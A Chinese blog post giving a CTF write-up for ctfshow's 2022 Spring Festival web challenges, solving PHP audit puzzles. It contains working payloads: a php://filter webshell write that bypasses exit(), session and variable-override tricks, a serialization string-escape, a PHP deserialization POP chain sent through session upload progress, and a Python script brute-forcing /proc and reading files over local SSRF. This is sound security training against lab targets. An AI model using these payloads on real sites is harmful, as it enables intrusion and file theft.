[ctfshow]2022 新春欢乐赛 wp

本文详细介绍了多个PHP源码审计案例,涉及Web安全常见漏洞,如文件包含、变量覆盖、函数调用、session操作、序列化漏洞等,并提供了相应的exploit思路和方法,包括蚁剑连接、内存溢出、文件读取等技巧,揭示了PHP安全攻防的实战策略。
摘要由CSDN通过智能技术生成

热身

开局看到源码,但是却没有显示源码的代码。那么只能是被包含进去了,直接phpinfo搜prepend可以看到包含的文件,查看之得到flag。

image-20220206002348034

?f=system("tac etc/ssh/secret/youneverknow/secret.php");

web1

highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

绕过死亡exit

先写入shell

php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHANCmV2YWwoJF9QT1NUWzFdKTsNCj8%2B/../shell.php

蚁剑连接即可

web2

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>

利用session修改变量

Body
session_id=session_id
Cookie
PHPSESSID=HappyNewYear

web 3

highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));   

if($key=="HappyNewYear"){
  echo $flag;
}

die("虎年大吉,新春快乐!");

弱类型比较,布尔值和任意字符串弱相等

1=session_start
1=json_last_error

web 4

<?php
highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

需要写入一句话木马,那么$key的值应该为php后缀文件

寻找调用返回php后缀的函数

payload:

1= spl_autoload_extensions

之后进入.inc,.php

1=system("cat /f1ag.txt");

spl_autoload_extensions

注册并返回 spl_autoload 函数使用的默认文件扩展名

用法:spl_autoload_extensions(string $file_extensions = ?): string

当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的 spl_autoload 函数使用的扩展名是 “.inc,.php”。

web 5

<?php
error_reporting(0);
highlight_file(__FILE__);

include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);

发送超长字符致使php内存溢出,发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,出现致命错误从而跳过后面的覆盖写入。

web 6

 <?php

error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];

function filter($img){
    $filter_arr = array('ctfshow','daniu','happyhuyear');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION['function'] = $function;

extract($_POST['GET']);

$_SESSION['file'] = base64_encode("/root/flag");

$serialize_info = filter(serialize($_SESSION));

if($function == 'GET'){
    $userinfo = unserialize($serialize_info);
    //出题人已经拿过flag,题目正常,也就是说...
    echo file_get_contents(base64_decode($userinfo['file']));
} 

代码审计

implode() 函数返回由数组元素组合成的字符串。

我们知道最终应该通过file_get_contents来读文件

  1. 满足$function == 'GET'

    ?POST=GET
    

发现web服务器是nginx,注释提示出题人已经拿过flag,接下来我们可以尝试读取nginx日志文件/var/log/nginx/access.log

构造反序列化数组

GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}

此时:

$serialize_info为:
a:2:{s:12:"";s:70:"s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
$userinfo 为:
array(2) {
  '";s:70:"s:1:' =>
  string(1) "1"
  'file' =>
  string(36) "L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw=="
}

由此可读

image-20220208114304688

再读http://127.0.0.1/ctfshow即可

GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:32:"aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93";}

web 7

<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
    phpinfo();
}
if (isset($_GET['source']))
{
    highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>

读一下class.php

<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";

        }
        function __destruct(){
                $this->happy->happy;

        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }

        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }


    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";

        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }

        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;

        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }

 }
    class Year{
        public $zodiac;
         public function __invoke()
        {
            echo "happy ".$this->zodiac." year!";

        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString()
        {
                $this->show();

        }
        public function __set($key,$value)#3
        {
            $this->$key = $value;
        }

        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }

    }
?>

这里有一个ini_set("session.serialize_handler", "php");

很容易想到session反序列化,查看phpinfo

image-20220208123125368

session.serialize_handler的Local Value是php,Master Value是php_serialize,session.upload_progress.cleanup=Off

session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,即就可以将filename的值赋值到session中。所以可以通过Session Upload Progress来设置session。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。

既然如此,我们就开始找链子:

最终肯定是通过Year::show()来读文件

Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()

exp:

<?php
    class Happy {
        public $happy;
    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;

 }
    class Year{
        public $zodiac;

    }

$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
echo serialize($a);

?>

构造上传表单

<form action="http://32c5b7fa-ed9f-46f9-9c1d-28d49508feb7.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
        <input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="123" />
        <input type="file" name="file" />
        <input type="submit" />
</form>

得到的序列化字符串将双引号转义,再在前面加一个|,这是session格式

|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}

利用该表单随便上传一个文件,抓包,修改filename如上

由此可以得到文件读取漏洞

/proc/{pid}/cmdline是所有用户均可读的,可以编写脚本爆一下进程id的cmdline

import requests
import time


def get_file(filename):
	data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain


------WebKitFormBoundarytyYa582A3zCNLMeL--"""
	r=requests.post(url='http://32c5b7fa-ed9f-46f9-9c1d-28d49508feb7.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=917571d70a5c49843a1625b52880d774'})
	return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00

for i in range(999):
	print(i)
	print(get_file('/proc/'+str(i)+'/cmdline'))
	time.sleep(0.2)

可以查看到114进程开了一个 python3 /app/server.py ,读取

from flask import *
import os

app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')

@app.route('/', methods=['GET', 'POST'])
def index():
	return "flag我删了,你们别找了"

@app.route('/download/', methods=['GET', 'POST'])
def download_file():
    return send_file(request.args['filename'])


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

可以发现flag文件被删掉了,flask在5000起了一个server,还有一个任意文件读取的路径:/download/

但是flag是在open之后被删的,而且还没有释放,所以可以在/proc/self/fd/下面找到,

file_get_contents()是可以读http协议的资源的,于是读取 "http://127.0.0.1:5000/download/?filename=/proc/self/fd/3" 即可得到flag

0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试。

参考文章:

带你走进PHP session反序列化漏洞

https://bbs.ctf.show/thread/83

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值